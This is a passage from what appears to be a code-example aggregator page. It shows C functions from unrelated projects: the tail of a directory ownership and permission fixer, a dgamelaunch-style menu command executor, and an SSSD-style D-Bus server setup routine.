            if (fi.st_uid != user) {
                if (chown((const char *) path[i]->name.data, user, -1) == -1) {
                    ngx_log_error(NGX_LOG_EMERG, cycle->log, ngx_errno,
                                  "chown(\"%s\", %d) failed",
                                  path[i]->name.data, user);
                    return NGX_ERROR;
                }
            }

            if ((fi.st_mode & (S_IRUSR|S_IWUSR|S_IXUSR))
                    != (S_IRUSR|S_IWUSR|S_IXUSR))
            {
                fi.st_mode |= (S_IRUSR|S_IWUSR|S_IXUSR);

                if (chmod((const char *) path[i]->name.data, fi.st_mode) == -1) {
                    ngx_log_error(NGX_LOG_EMERG, cycle->log, ngx_errno,
                                  "chmod() \"%s\" failed", path[i]->name.data);
                    return NGX_ERROR;
                }
            }
        }
#endif
    }

    return NGX_OK;
}
Exemplo n.º 29
0
int
dgl_exec_cmdqueue(struct dg_cmdpart *queue, int game, struct dg_user *me)
{
    int i;
    struct dg_cmdpart *tmp = queue;
    char *p1;
    char *p2;

    if (!queue) return 1;

    p1 = (char *)malloc(1024);
    p2 = (char *)malloc(1024);

    if (!p1 || !p2) return 1;

    return_from_submenu = 0;

    while (tmp && !return_from_submenu) {
	if (tmp->param1) strcpy(p1, dgl_format_str(game, me, tmp->param1, NULL));
	if (tmp->param2) strcpy(p2, dgl_format_str(game, me, tmp->param2, NULL));

	switch (tmp->cmd) {
	default: break;
	case DGLCMD_MKDIR:
	    if (p1 && (access(p1, F_OK) != 0)) mkdir(p1, 0755);
	    break;
	case DGLCMD_UNLINK:
	    if (p1 && (access(p1, F_OK) != 0)) unlink(p1);
	    break;
	case DGLCMD_CHDIR:
	    if (p1) {
		if (chdir(p1) == -1) {
		    debug_write("chdir-command failed");
		    graceful_exit(123);
		}
	    }
	    break;
	case DGLCMD_IF_NX_CP:
	    if (p1 && p2) {
		FILE *tmpfile;
		tmpfile = fopen(p2, "r");
		if (tmpfile) {
		    fclose(tmpfile);
		    break;
		}
	    }
	    /* else fall through to cp */
	case DGLCMD_CP:
	    if (p1 && p2) {
		FILE *cannedf, *newfile;
		char buf[1024];
		size_t bytes;
		/* FIXME: use nethack-themed error messages here, as per write_canned_rcfile() */
		if (!(cannedf = fopen (p1, "r"))) break;
		if (!(newfile = fopen (p2, "w"))) break;
		while ((bytes = fread (buf, 1, 1024, cannedf)) > 0) {
		    if (fwrite (buf, 1, bytes, newfile) != bytes) {
			if (ferror (newfile)) {
			    fclose (cannedf);
			    fclose (newfile);
			    break;
			}
		    }
		}
		fclose (cannedf);
		fclose (newfile);
		chmod (p2, default_fmode);
	    }
	    break;
	case DGLCMD_EXEC:
	    if (p1 && p2) {
		pid_t child;
		char *myargv[3];

		myargv[0] = p1;
		myargv[1] = p2;
		myargv[2] = 0;

		clear();
		refresh();
		endwin();
		idle_alarm_set_enabled(0);
		child = fork();
		if (child == -1) {
		    perror("fork");
		    debug_write("exec-command fork failed");
		    graceful_exit(114);
		} else if (child == 0) {
		    execvp(p1, myargv);
		    exit(0);
		} else
		    waitpid(child, NULL, 0);
		idle_alarm_set_enabled(1);
		initcurses();
		check_retard(1);
	    }
	    break;
	case DGLCMD_SETENV:
	    if (p1 && p2) mysetenv(p1, p2, 1);
	    break;
	case DGLCMD_CHPASSWD:
	    if (loggedin) changepw(1);
	    break;
	case DGLCMD_CHMAIL:
	    if (loggedin) change_email();
	    break;
	case DGLCMD_WATCH_MENU:
	    inprogressmenu(-1);
	    break;
	case DGLCMD_LOGIN:
	    if (!loggedin) loginprompt(0);
	    if (loggedin) runmenuloop(dgl_find_menu(get_mainmenu_name()));
	    break;
	case DGLCMD_REGISTER:
	    if (!loggedin && globalconfig.allow_registration) newuser();
	    break;
	case DGLCMD_QUIT:
	    debug_write("command: quit");
	    graceful_exit(0);
	    /* break; */
	case DGLCMD_SUBMENU:
	    if (p1)
		runmenuloop(dgl_find_menu(p1));
	    break;
	case DGLCMD_RETURN:
	    return_from_submenu = 1;
	    break;
	case DGLCMD_PLAYGAME:
	    if (loggedin && me && p1) {
		int userchoice, i;
		char *tmpstr;
		for (userchoice = 0; userchoice < num_games; userchoice++) {
		    if (!strcmp(myconfig[userchoice]->game_name, p1) || !strcmp(myconfig[userchoice]->shortname, p1)) {
			if (purge_stale_locks(userchoice)) {
			    if (myconfig[userchoice]->rcfile) {
				if (access (dgl_format_str(userchoice, me, myconfig[userchoice]->rc_fmt, NULL), R_OK) == -1)
				    write_canned_rcfile (userchoice, dgl_format_str(userchoice, me, myconfig[userchoice]->rc_fmt, NULL));
			    }

			    setproctitle("%s [playing %s]", me->username, myconfig[userchoice]->shortname);

			    clear();
			    refresh();
			    endwin ();

			    /* first run the generic "do these when a game is started" commands */
			    dgl_exec_cmdqueue(globalconfig.cmdqueue[DGLTIME_GAMESTART], userchoice, me);
			    /* then run the game-specific commands */
			    dgl_exec_cmdqueue(myconfig[userchoice]->cmdqueue, userchoice, me);

			    /* fix the variables in the arguments */
			    for (i = 0; i < myconfig[userchoice]->num_args; i++) {
				tmpstr = strdup(dgl_format_str(userchoice, me, myconfig[userchoice]->bin_args[i], NULL));
				free(myconfig[userchoice]->bin_args[i]);
				myconfig[userchoice]->bin_args[i] = tmpstr;
			    }

			    signal(SIGWINCH, SIG_DFL);
			    signal(SIGINT, SIG_DFL);
			    signal(SIGQUIT, SIG_DFL);
			    signal(SIGTERM, SIG_DFL);
			    idle_alarm_set_enabled(0);
			    /* launch program */
			    ttyrec_main (userchoice, me->username,
					 dgl_format_str(userchoice, me, myconfig[userchoice]->ttyrecdir, NULL),
					 gen_ttyrec_filename());
			    idle_alarm_set_enabled(1);
			    /* lastly, run the generic "do these when a game is left" commands */
			    signal (SIGHUP, catch_sighup);
			    signal (SIGINT, catch_sighup);
			    signal (SIGQUIT, catch_sighup);
			    signal (SIGTERM, catch_sighup);
			    signal(SIGWINCH, sigwinch_func);

			    dgl_exec_cmdqueue(globalconfig.cmdqueue[DGLTIME_GAMEEND], userchoice, me);

			    setproctitle ("%s", me->username);
			    initcurses ();
			    check_retard(1); /* reset retard counter */
			}
			break;
		    }
		}
	    }
	    break;
	}
	tmp = tmp->next;
    }

    free(p1);
    free(p2);

    return 0;
}
Exemplo n.º 30
0
/*
 * dbus_new_server
 * Set up a D-BUS server, integrate with the event loop
 * for handling file descriptor and timed events
 */
int sbus_new_server(TALLOC_CTX *mem_ctx,
                    struct tevent_context *ev,
                    const char *address,
                    uid_t uid, gid_t gid,
                    bool use_symlink,
                    struct sbus_connection **_server,
                    sbus_server_conn_init_fn init_fn,
                    void *init_pvt_data)
{
    struct sbus_connection *server;
    DBusServer *dbus_server;
    DBusError dbus_error;
    dbus_bool_t dbret;
    char *tmp;
    int ret, tmp_ret;
    char *filename;
    char *symlink_filename = NULL;
    const char *socket_address;
    struct stat stat_buf;
    TALLOC_CTX *tmp_ctx;

    *_server = NULL;

    tmp_ctx = talloc_new(NULL);
    if (!tmp_ctx) return ENOMEM;

    socket_address = get_socket_address(tmp_ctx, address, use_symlink);
    if (!socket_address) {
        ret = ENOMEM;
        goto done;
    }

    /* Set up D-BUS server */
    dbus_error_init(&dbus_error);
    dbus_server = dbus_server_listen(socket_address, &dbus_error);
    if (!dbus_server) {
        DEBUG(SSSDBG_CRIT_FAILURE,
              "dbus_server_listen failed! (name=%s, message=%s)\n",
                 dbus_error.name, dbus_error.message);
        if (dbus_error_is_set(&dbus_error)) dbus_error_free(&dbus_error);
        ret = EIO;
        goto done;
    }

    filename = strchr(socket_address, '/');
    if (filename == NULL) {
        DEBUG(SSSDBG_CRIT_FAILURE,
              "Unexpected dbus address [%s].\n", socket_address);
        ret = EIO;
        goto done;
    }

    if (use_symlink) {
        symlink_filename = strchr(address, '/');
        if (symlink_filename == NULL) {
            DEBUG(SSSDBG_CRIT_FAILURE,
                  "Unexpected dbus address [%s].\n", address);
            ret = EIO;
            goto done;
        }

        ret = create_socket_symlink(filename, symlink_filename);
        if (ret != EOK) {
            DEBUG(SSSDBG_CRIT_FAILURE, "Could not create symlink [%d]: %s\n",
                      ret, strerror(ret));
            ret = EIO;
            goto done;
        }
    }

    /* Both check_file and chmod can handle both the symlink and
     * the socket */
    ret = check_file(filename,
                     getuid(), getgid(), S_IFSOCK, S_IFMT, &stat_buf, true);
    if (ret != EOK) {
        DEBUG(SSSDBG_CRIT_FAILURE, "check_file failed for [%s].\n", filename);
        ret = EIO;
        goto done;
    }

    if ((stat_buf.st_mode & ~S_IFMT) != (S_IRUSR|S_IWUSR)) {
        ret = chmod(filename, (S_IRUSR|S_IWUSR));
        if (ret != EOK) {
            ret = errno;
            DEBUG(SSSDBG_CRIT_FAILURE,
                  "chmod failed for [%s]: [%d][%s].\n", filename, ret,
                                                        sss_strerror(ret));
            ret = EIO;
            goto done;
        }
    }

    if (stat_buf.st_uid != uid || stat_buf.st_gid != gid) {
        ret = chown(filename, uid, gid);
        if (ret != EOK) {
            ret = errno;
            DEBUG(SSSDBG_CRIT_FAILURE,
                  "chown failed for [%s]: [%d][%s].\n", filename, ret,
                                                        sss_strerror(ret));
            ret = EIO;
            goto done;
        }
    }

    tmp = dbus_server_get_address(dbus_server);
    DEBUG(SSSDBG_TRACE_FUNC, "D-BUS Server listening on %s\n", tmp);
    free(tmp);

    server = talloc_zero(tmp_ctx, struct sbus_connection);
    if (!server) {
        ret = ENOMEM;
        goto done;
    }

    server->ev = ev;
    server->type = SBUS_SERVER;
    server->dbus.server = dbus_server;
    server->srv_init_fn = init_fn;
    server->srv_init_data = init_pvt_data;

    talloc_set_destructor((TALLOC_CTX *)server, sbus_server_destructor);

    if (use_symlink) {
        server->symlink = talloc_strdup(server, symlink_filename);
        if (!server->symlink) {
            ret = ENOMEM;
            goto done;
        }
    }

    /* Set up D-BUS new connection handler */
    dbus_server_set_new_connection_function(server->dbus.server,
                                            sbus_server_init_new_connection,
                                            server, NULL);

    /* Set up DBusWatch functions */
    dbret = dbus_server_set_watch_functions(server->dbus.server,
                                            sbus_add_watch,
                                            sbus_remove_watch,
                                            sbus_toggle_watch,
                                            server, NULL);
    if (!dbret) {
        DEBUG(SSSDBG_CONF_SETTINGS,
              "Error setting up D-BUS server watch functions\n");
        ret = EIO;
        goto done;
    }

    /* Set up DBusTimeout functions */
    dbret = dbus_server_set_timeout_functions(server->dbus.server,
                                              sbus_add_timeout,
                                              sbus_remove_timeout,
                                              sbus_toggle_timeout,
                                              server, NULL);
    if (!dbret) {
        DEBUG(SSSDBG_CONF_SETTINGS,
              "Error setting up D-BUS server timeout functions\n");
        dbus_server_set_watch_functions(server->dbus.server,
                                        NULL, NULL, NULL, NULL, NULL);
        ret = EIO;
        goto done;
    }

    *_server = talloc_steal(mem_ctx, server);
    ret = EOK;

done:
    if (ret != EOK && symlink_filename) {
        tmp_ret = unlink(symlink_filename);
        /* non-fatal failure */
        if (tmp_ret != EOK) {
            tmp_ret = errno;
            DEBUG(SSSDBG_MINOR_FAILURE,
                  "Failed to remove symbolic link '%s': %d [%s]!\n",
                  symlink_filename, tmp_ret, sss_strerror(tmp_ret));
        }
    }
    talloc_free(tmp_ctx);
    return ret;
}